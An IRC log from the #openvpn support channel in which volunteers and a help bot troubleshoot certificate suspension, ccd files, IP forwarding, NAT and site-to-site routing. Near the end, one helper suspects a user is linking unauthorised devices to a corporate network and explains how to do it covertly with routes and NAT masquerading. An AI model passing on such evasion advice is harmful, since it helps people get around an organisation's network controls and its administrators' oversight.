05:29 -!- Mhrok [~mhrok@178-36-52-42.adsl.inetia.pl] has joined #openvpn
05:29 < Mhrok> Hello!
05:43 -!- Mhrok [~mhrok@178-36-52-42.adsl.inetia.pl] has quit [Quit: WeeChat 0.4.0-rc1]
06:27 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
06:34 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
06:43 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:59 -!- p3rror [~mezgani@2001:0:53aa:64c:74:6e1a:d607:4b7d] has joined #openvpn
07:04 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Excess Flood]
07:05 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
07:11 -!- p3rror [~mezgani@2001:0:53aa:64c:74:6e1a:d607:4b7d] has quit [Remote host closed the connection]
07:19 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
07:21 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
07:23 -!- cosmicgate [~root@216.17.109.26] has joined #openvpn
07:25 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
07:30 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
07:42 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
07:47 -!- cosmicgate [~root@216.17.109.26] has quit [Remote host closed the connection]
07:48 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
07:50 -!- cosmicgate [~root@216.17.109.26] has joined #openvpn
07:50 -!- cosmicgate is now known as asdasdasd
07:56 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
08:03 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
08:06 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-uxbspexqfkwdnydz] has quit [Quit: Planned maintenance, back soon]
08:06 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-wznbqzxmeppumdbt] has quit [Quit: Planned maintenance, back soon]
08:34 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
08:40 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
08:43 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
08:45 -!- asdasdasd [~root@216.17.109.26] has quit [Ping timeout: 240 seconds]
08:51 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
08:56 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
08:58 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jwtrifiamymywmib] has joined #openvpn
08:59 -!- u0m3 [~Radu@92.80.72.203] has joined #openvpn
09:02 -!- u0m3 [~Radu@92.80.72.203] has quit [Client Quit]
09:03 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-layqgdbowlknfrko] has joined #openvpn
09:04 -!- u0m3 [~Radu@92.80.72.203] has joined #openvpn
09:11 -!- blackness [black@vdsl001.client.black.blackmajic.org] has quit [Quit: Leaving]
09:19 -!- u0m3 [~Radu@92.80.72.203] has quit [Read error: Connection reset by peer]
09:22 -!- u0m3 [~Radu@92.80.72.203] has joined #openvpn
09:59 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 265 seconds]
10:13 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
10:14 -!- valparaiso [~valparais@ARennes-257-1-179-35.w2-13.abo.wanadoo.fr] has left #openvpn []
10:20 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
10:21 -!- master_of_master [~master_of@p57B54DDA.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
10:23 -!- master_of_master [~master_of@p57B5338D.dip.t-dialin.net] has joined #openvpn
10:26 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
10:26 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
10:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:38 -!- Assid [~kvirc@unaffiliated/assid] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
10:59 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
11:04 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
11:04 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
11:06 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
11:12 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 255 seconds]
11:22 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
11:29 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
11:36 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
11:42 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
11:47 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
11:54 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
12:05 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
12:11 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
12:14 -!- [1]JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- \o/]
12:15 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
12:15 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
12:18 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
12:21 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
12:48 -!- brute11k1 [~brute11k@89.249.235.33] has joined #openvpn
12:49 -!- brute11k [~brute11k@89.249.235.33] has quit [Ping timeout: 244 seconds]
12:59 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
13:02 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has joined #openvpn
13:06 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
13:12 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
13:19 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
13:28 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
13:36 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
13:42 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
13:49 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
13:50 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
13:54 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Client Quit]
13:54 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
14:00 -!- ngharo [~ngharo@2001:1af8:4400:a049::] has quit [Ping timeout: 264 seconds]
14:02 -!- brute11k [~brute11k@89.249.230.77] has joined #openvpn
14:04 -!- brute11k1 [~brute11k@89.249.235.33] has quit [Ping timeout: 252 seconds]
14:06 -!- ngharo [~ngharo@2001:1af8:4400:a049::] has joined #openvpn
14:09 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
14:22 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
14:33 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
14:35 -!- Porkepix_ [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has joined #openvpn
14:36 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:41 -!- brute11k [~brute11k@89.249.230.77] has quit [Quit: Leaving.]
14:52 -!- Porkepix_ is now known as Porkepix
14:57 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has quit [Ping timeout: 272 seconds]
15:00 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has joined #openvpn
15:02 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 260 seconds]
15:06 -!- gladiatr [~usualfrog@openvpn/community/support/gladiatr] has joined #openvpn
15:11 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
15:14 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
15:16 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has joined #openvpn
15:35 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
15:38 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
15:58 -!- gladiatr [~usualfrog@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
16:06 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 246 seconds]
16:07 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
16:14 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
16:15 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
16:17 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
16:18 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
16:18 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Client Quit]
16:50 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 252 seconds]
16:54 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
17:15 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
17:17 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
17:17 -!- mode/#openvpn [+o vpnHelper] by ChanServ
17:23 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
17:46 -!- CrashTM [~CrashTM@98.144.34.109] has joined #openvpn
17:54 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
18:18 -!- CrashTM [~CrashTM@98.144.34.109] has quit [Ping timeout: 272 seconds]
18:31 -!- CrashTM [~CrashTM@69.162.93.219] has joined #openvpn
18:39 -!- CrashTM [~CrashTM@69.162.93.219] has quit [Read error: Connection reset by peer]
18:43 -!- Z_Analyzer [~lipalm@173-164-219-57-SFBA.hfc.comcastbusiness.net] has joined #openvpn
18:44 < Z_Analyzer> hello - is there a way to 'suspend', not revoke, a user account (CERT) on the server side ?
19:02 < BtbN> revoke the cert, and later un-revoke it?
19:05 < dioz> lets not split hairs
19:05 < MagisterQuis> Z_Analyzer: If you want to ban for a certain amount of time, use an at job.
19:07 < Z_Analyzer> I'm trying to use a ccd file - that doesn't seem to work ) no idea i could revoke and un-revoke later without sending new keys
19:07 < Z_Analyzer> MagisterQuis, what would you put in the job ?
19:07 < MagisterQuis> Z_Analyzer: The command to unrevoke a cert.
19:08 < MagisterQuis> I have to look it up every time.
19:08 < MagisterQuis> http://blog.abhijeetr.com/2012/06/revokeunrevoke-client-certificate-in.html
19:08 <@vpnHelper> Title: Blog by Abhijeet Rastogi about Linux: Revoke/Unrevoke a client certificate in OpenVPN (at blog.abhijeetr.com)
19:10 < MagisterQuis> Even better http://robert.penz.name/21/ovpncncheck-an-openvpn-tls-verify-script/
19:10 < Z_Analyzer> yeah i'm checking out the tols-verify thing
19:10 < Z_Analyzer> tls*
19:10 <@vpnHelper> Title: ovpnCNcheck an OpenVPN tls-verify script | Robert Penz Blog (at robert.penz.name)
19:10 < Z_Analyzer> tnx
19:10 < MagisterQuis> Google.
19:10 < MagisterQuis> http://google.com
19:10 <@vpnHelper> Title: Google (at google.com)
19:10 < MagisterQuis> Heh.
19:11 < Z_Analyzer> yeah i saw the revoke part, most FAQs and blogs talk about revoking being final - i was missing the unrevoke link
19:13 <+pekster> Z_Analyzer: Put the 'disable' direcive in a ccd file
19:13 < Z_Analyzer> pekster, i tried, that didn't work
19:16 <+pekster> Hmm, I thought that was valid (trying to confirm now.) You could also use a --client-connect script that simply tests for the $common_name you're interested in and reject it by existing non-zero status
19:17 <+pekster> if ["$common_name" = "invalid X509 CN from your cert"]; then exit 1; fi; exit 0
19:17 <+pekster> Or such
19:17 < MagisterQuis> Neat idea.
19:17 < MagisterQuis> Benefit of that is you could use a database for scalability and to prevent someone trying to read and write a text file simultaneously.
19:21 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:24 -!- Crosshair84 [~Crosshair@200.49.30.11] has joined #openvpn
19:24 < Crosshair84> hello
19:25 < Crosshair84> I need help I want to make a site to site vpn but I have some problems
19:25 < Crosshair84> I don't know what to do
19:26 < Crosshair84> can you helpme?
19:26 <+pekster> Crosshair84: Do you have basic connectivity right now? Until you do you can't proceed further
19:26 < Crosshair84> yes
19:26 < Crosshair84> the client is conected
19:26 < Crosshair84> but
19:26 < Crosshair84> the problem is
19:26 < Crosshair84> from the server lan side I can't reach the client
19:26 < Crosshair84> and viceversa
19:27 <+pekster> You have LANs behind both the server and client?
19:27 <+pekster> Or just one?
19:27 < Crosshair84> yes from both
19:28 <+pekster> You should pick one at a time to get working. We have some handy guides and a flowchart that describes all the steps you need:
19:28 <+pekster> For the LAN behind the sever, see this:
19:28 <+pekster> !serverlan
19:28 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
19:28 <+pekster> For the LAN behind the client:
19:28 <+pekster> !clientlan
19:28 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
19:28 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
19:31 < Crosshair84> ok
19:32 < Crosshair84> !ipfoward
19:33 <+pekster> !ipforward
19:33 <@vpnHelper> "ipforward" is please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
19:33 <+pekster> (you missed the 'r')
19:34 < Crosshair84> !winipforward
19:34 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
19:36 < Crosshair84> I just change in my windows client
19:37 < Crosshair84> I didn't know about the forward in the server and client, I just follow the HOW TO of the openvpn site
19:37 < Crosshair84> !linipforward
19:37 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
19:56 < Crosshair84> pekster, THANK YOU
19:57 < Crosshair84> I think that maybe the problem is the ipforwarding in both client and server
19:57 < Crosshair84> I made the changes in both and I can reach the 2 networks fine
19:58 < Crosshair84> It will be good if you add this information in the HOWTO of the offcial page
20:05 < Z_Analyzer> pekster: i ended up implementing your suggestion - works great
20:05 < Z_Analyzer> tnx
20:23 <+pekster> Z_Analyzer: np. I was busy earlier, but I just tested the 'disable' directive in a ccd file and it works as expected by rejecting the client
20:24 < Z_Analyzer> pekster, no luck for me with that one
20:24 <+pekster> I get this in my server-side log when attempting to connect with a CN of "client" "MULTI: client has been rejected due to 'disable' directive"
20:25 <+pekster> At least under 2.3.0 (I'm not sure when that option was added; you can check your manpage for the "--disable" parameter, which only ever makes sense for a ccd file)
20:25 < Z_Analyzer> pekster, i have 2.1.3
20:25 <+pekster> Ah, that may be too old to support that
20:26 < Z_Analyzer> Disable  a particular client (based on the common name) from connecting.  Don't use this option to disable a client
20:26 < Z_Analyzer>               due to key or password compromise.  Use a CRL (certificate revocation list) instead (see the --crl-verify option).
20:26 < Z_Analyzer> all i got about it
20:27 <+pekster> Are you *sure* your ccd file is named properly (no .txt or any suffix to the file) and that it's the correct case on case-sensitive OS?
20:27 <+pekster> verb 5 on the server should at least confirm it finds the ccd file when the client connects
20:27 < Z_Analyzer> i gave the file an extension
20:27 < Z_Analyzer> hm
20:27 <+pekster> You can'd do that
20:27 <+pekster> Unless you actually signed your cert like "MyClient.txt"
20:28 <+pekster> ie: CN=SampleName.txt
20:28 <+pekster> Most people don't do that ;)
20:29 < Z_Analyzer> hmmm that must be it
20:29 < Z_Analyzer> a bit obscure
20:29 <+pekster> Not at all
20:29 <+pekster> Manpage says "OpenVPN will look in this directory for a file having the same name as the  client's  X509  common name.  If a matching file exists, it will be opened and parsed for client-specific configuration options."
20:30 <+pekster> So, if a file does not exist named the same (yes, that's EXACTLY the same) as the client's X509 common name, it will not be parsed
20:30 < Crosshair84> PEKSTER thanks for your help
20:30 <+pekster> Crosshair84: np
20:30 < Crosshair84> good night bye
20:31 -!- Crosshair84 [~Crosshair@200.49.30.11] has quit []
20:46 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
20:50 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
21:10 -!- thermoman [~thermoman@idle.foobar0815.de] has joined #openvpn
22:04 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
22:05 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
23:28 -!- blackness [black@vdsl001.client.black.blackmajic.org] has joined #openvpn
--- Day changed Sun Jan 13 2013
00:14 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
00:22 -!- spricer [mix@anon-163-109.vpn.ipredator.se] has joined #openvpn
00:29 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
00:29 -!- tjz [~tjz@unaffiliated/tjz] has quit [Client Quit]
00:31 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
01:00 -!- mix_ [~mix@192-0-132-186.cpe.teksavvy.com] has joined #openvpn
01:02 -!- spricer [mix@anon-163-109.vpn.ipredator.se] has quit [Ping timeout: 252 seconds]
01:26 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
01:28 < anth0ny> trying to set up a vpn for the first time, connecting to my a server running at my home.  I'm having trouble understanding what the role of 'push "dhcp-option DOMAIN yourdomain.com" ' in the standard example server.conf files does. What would my 'yourdomain.com' be?
01:31 <+pekster> anth0ny: You don't need it for a basic setup like that. It's useful in networked domain environments to get DNS suffix search to work with a client's resolver (eg: for an office running a Windows domain.)
01:31 < anth0ny> got it, thanks
01:53 < anth0ny> If I'm trying to set up a VPN to tunnel traffic through my home computer, does that have to be a 'bridged vpn'?
01:54 <+pekster> no, stick with routed
01:54 < anth0ny> yeah? and that will let me access the internet over the VPN?
01:54 <+pekster> See:
01:54 <+pekster> !redirect
01:54 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
01:54 <@vpnHelper> http://ircpimps.org/redirect.png
01:55 < anth0ny> basically, my goal is to have a router running OpenWRT in Canada as an OpenVPN client, so that I can connect to that and tunnel traffic through the VPN to a server running at my home in the US, allowing me to appear to the internet as if I'm in the US
01:56 < anth0ny> does that sound feasible with routed VPN?
01:57 < anth0ny> awesome flow chart
01:57 <+pekster> Yes, there's absolutely no need for bridging in that setup
01:57 <+pekster> !tunortap
01:57 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
01:57 <@vpnHelper> over the vpn or (#4) lan gaming? use tap!
01:58 < anth0ny> awesome
01:58 < anth0ny> thanks again
02:12 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Ping timeout: 246 seconds]
02:14 -!- brute11k [~brute11k@89.249.230.77] has joined #openvpn
02:18 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
02:18 -!- brute11k [~brute11k@89.249.230.77] has quit [Read error: Connection reset by peer]
02:18 < anth0ny_> pekster, this diagram you linked as been helping me so much
02:19 < anth0ny_> I've gotten to "Is NAT enabled on the VPN subnet?", not sure how to check that or to do that, any pointers?
02:19 <+pekster> !nat
02:19 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
02:21 < anth0ny_> the fact that you have this down in such an automated fashion is making feel like my questions aren't very original...
02:21 -!- brute11k [~brute11k@89.249.230.77] has joined #openvpn
02:23 <+pekster> The bot has maybe 100 entries or so for common questions; if people ask it, the bot tends to get an entry added to make the job of voulenteers here easier
02:26 -!- mattock is now known as mattock_afk
02:28 -!- anth0ny__ [~anth0ny@c-67-171-37-67.hsd1.wa.comcast.net] has joined #openvpn
02:28 < anth0ny__> pekster, well, it works, thanks so much for your advice!
02:29 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has quit [Ping timeout: 255 seconds]
02:30 <+pekster> Glad you got it figured out
02:39 < mix_> Have connected firewall as client to OpenVPN server. Is it possible to conect (using RD) from system behind that firewall (LAN IP address) to system behind OpenVPN  server (IP address of VPN range)?
02:41 <+pekster> mix_: So you have basic connectivity between your 2 VPN peers and want to get communication working with LANs behind each?
02:46 < mix_> I think there is explanation for that "site to site VPN". What I am asking can I connect from LAN behind firewall to VPN network directly.
02:47 <+pekster> To the VPN network, or to a client on the LAN behind the opposing VPN peer?
02:48 <+pekster> If you have: [LAN 1] --- [VPN client] -- <INTERNET> -- [VPN server] -- [LAN 2] do you want hosts on LAN1 to reach hosts on LAN2? Or just the VPN subnet (in which case LAN2 doesn't even matter)
02:48 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
02:48 < mix_> Yes but client behind the opposing VPN peer already has VPN range address so I do not need to connect ot its LAN address.
02:49 < mix_> yes
02:49 <+pekster> You can't overlap network ranges, if that's what you're doing
02:49 < mix_> LAN 2 does not matter
02:49 <+pekster> The network range for the virutal VPN space can't collide with the LANs addressing scheme
02:50 < mix_> I want this:  Or just the VPN subnet (in which case LAN2 doesn't even matter)
02:50 -!- anth0ny__ [~anth0ny@c-67-171-37-67.hsd1.wa.comcast.net] has quit [Ping timeout: 256 seconds]
02:50 <+pekster> How do the clients "behind" the VPN client "already have" a VPN network IP? You can't do that
02:50 <+pekster> You need to route traffic between uniquely numbered networks to do that
02:51 <+pekster> Maybe this will explain a bit better:
02:51 <+pekster> !clientlan
02:51 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
02:51 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
02:52 < mix_> Let me try to explain it better if I can :)
02:54 <+pekster> Sure. And if you have a VPn set up already with basic connectivity between your VPN server & client, posting your server config to a pastebin site might help too. Add your LAN network info (network range and default gateway, along with the client's IP on that network) and it should help paint a clearer picture of what you have to work with
02:55 < mix_> I am road warrior which connects to server and than I am able to RD to another machine on that network (VPN network) (both ways). That works as a charm.
02:56 < mix_> road warrior from windows system...
02:57 < mix_> In meantime I installed pf sense and used same client configuration to connect to server which works also fine
02:59 <+pekster> To get bi-directional connectivity with clients behind your VPN client (be it pfSense or whatever else) you need to follow that !clientlan posting the bot gave you
02:59 < mix_> so my question is can I connect system behind pfsense (routing!?) to VPN Network that pf sense is connected to?
02:59 <+pekster> Right, see the !clientlan output from above
03:00 <+pekster> This requires supporting changes on both the client LAN and server-side LAN, in addition to making OpenVPN at both peers aware of the networks accessible through the VPN link
03:00 <+pekster> The flowchart explains all the OpenVPN and routing steps required
03:03 < mix_> "and server-side LAN" ....even if I do not connect to that LAN?
03:03 < mix_> I am connecting to VPN address...
03:04 <+pekster> In order to get packetsk *back* to the client LAN the server-side routing infrastructure (your gateways and such there) need routes
03:04 <+pekster> packets*
03:04 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
03:04 <+pekster> So, if your LAN is, f.eg. 192.168.0.0/24 and the VPN is 10.8.0.0/24, with a server-LAN of 10.20.30.0/24, when a system on 10.20.30.x wants to send return traffic to 192.168.0.x, it needs a way to route back there
03:05 <+pekster> So yes, your *server*-side LAN needs a route *back* to your client-side LAN addressing
03:05 <+pekster> Or you can NAT stuff, but if you don't control the server-side VPN or network infrastructure, I suspect you're asking for help doing something you're not supposed to be doing
03:06 <+pekster> (in which case just add routes for the server-side LAN to your clienet LAN's gateway and SNAT traffic that goes across the link. And hope your netadmin doesn't find out what you're doing)
03:07 <+pekster> For a less theoretical discussion of your problem, I need to see some configuration files and network setup
03:07 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has quit [Read error: Connection reset by peer]
03:07 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
03:08 < mix_> configuration is very simple
03:08 < mix_> http://pastebin.com/WqYSddbw
03:08 < mix_> this is client side
03:08 < mix_> I wasn hoping that PF sense could handle routing to/from VPN network
03:08 <+pekster> That doesn't help. What I really want is server-side configuration
03:09 <+pekster> I'm beginning to suspect you don't have access to that and aren't supposed to be connecting client-side devices to your corporate network
03:10 <+pekster> If you wish to break the rules anyway, do what I said above: add routes on your LAN's default gateway to send traffic bound for the server-side network ranges to your LAN's VPN client IP, and perform NAT to masquerade the entire client LAN. And be prepared to face whatever problems that causes you if clever people at the office see what you've done (it's a lot easier than you think to spot this kind of thing)
03:11 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has quit [Read error: Connection reset by peer]
03:12 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
03:13 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Ping timeout: 240 seconds]
03:17 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has quit [Read error: Connection reset by peer]
03:17 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
03:19 < mix_> huh it took me a while to pull conf
03:19 < mix_> http://pastebin.com/qpxBCfG3
03:20 <+pekster> Does your ccd setup push a route to 192.168.10.1 or a network encompasing it?
03:21 <+pekster> If not, sending the connecting clients a DNS entry to that IP is worthless, and not going to work since client's can't reach it
03:22 <+pekster> In order to route to a client LAN, you need a route to the client LAN in your server config, you need an iroute in that client's ccd entry for that network, and your server-side LAN environment needs to route packets for the client LAN to your VPN server
03:22 <+pekster> Which is, in fact, all expalined for you in the !clientlan output
03:25 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has quit [Read error: Connection reset by peer]
03:25 < mix_> I have that iroute LAN
03:26 < mix_> and everything is working great (both ways)
03:26 < mix_> but it seems that only way is "site to site setup"
03:27 < mix_> in CCD I have: ifconfig-push 192.168.13.78 192.168.13.77
03:27 < mix_> iroute 192.168.1.0 255.255.255.0
03:27 < mix_> am I still suspect :)
03:28 <+pekster> The server still needs a standard 'route' entry for that in addition to the iroute
03:28 <+pekster> Did you miss that part of the flowchart?
03:28 < mix_> No I will read that thanks...
03:28 <+pekster> mix_: No, but usually people who try to avoid sharing config files tend to be looking to break rules at thier jobs/networks/providers
03:29 <+pekster> Or are paranoid, in which case they shouldn't be taking advice for free on the Internet ;)
03:30 <+pekster> Also, that DNS option is still worthless since you aren't actually routing clients to that IP
03:31 < mix_> sigh... it is 4.30 here, I have like 30tabs open 5 conf files and had to disable everything on pfsense before I could log to work and pull everything (strip out comments etc) :))
03:31 <+pekster> Well, I've identified several problems for you, including why your client LAN setup is busted (if you'd read the flowchart when I linked it 40 minutes ago you would already know this) and identified that your DNS server push won't work either
03:32 <+pekster> So, you're probably better off getting some info. One would hope
03:32 < mix_> You are right for DNS - leftover when I was testing dns in that network
03:38 < mix_> txs pekster
03:39 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:39 -!- mix_ [~mix@192-0-132-186.cpe.teksavvy.com] has quit [Quit: Leaving]
03:40  * pekster sighs
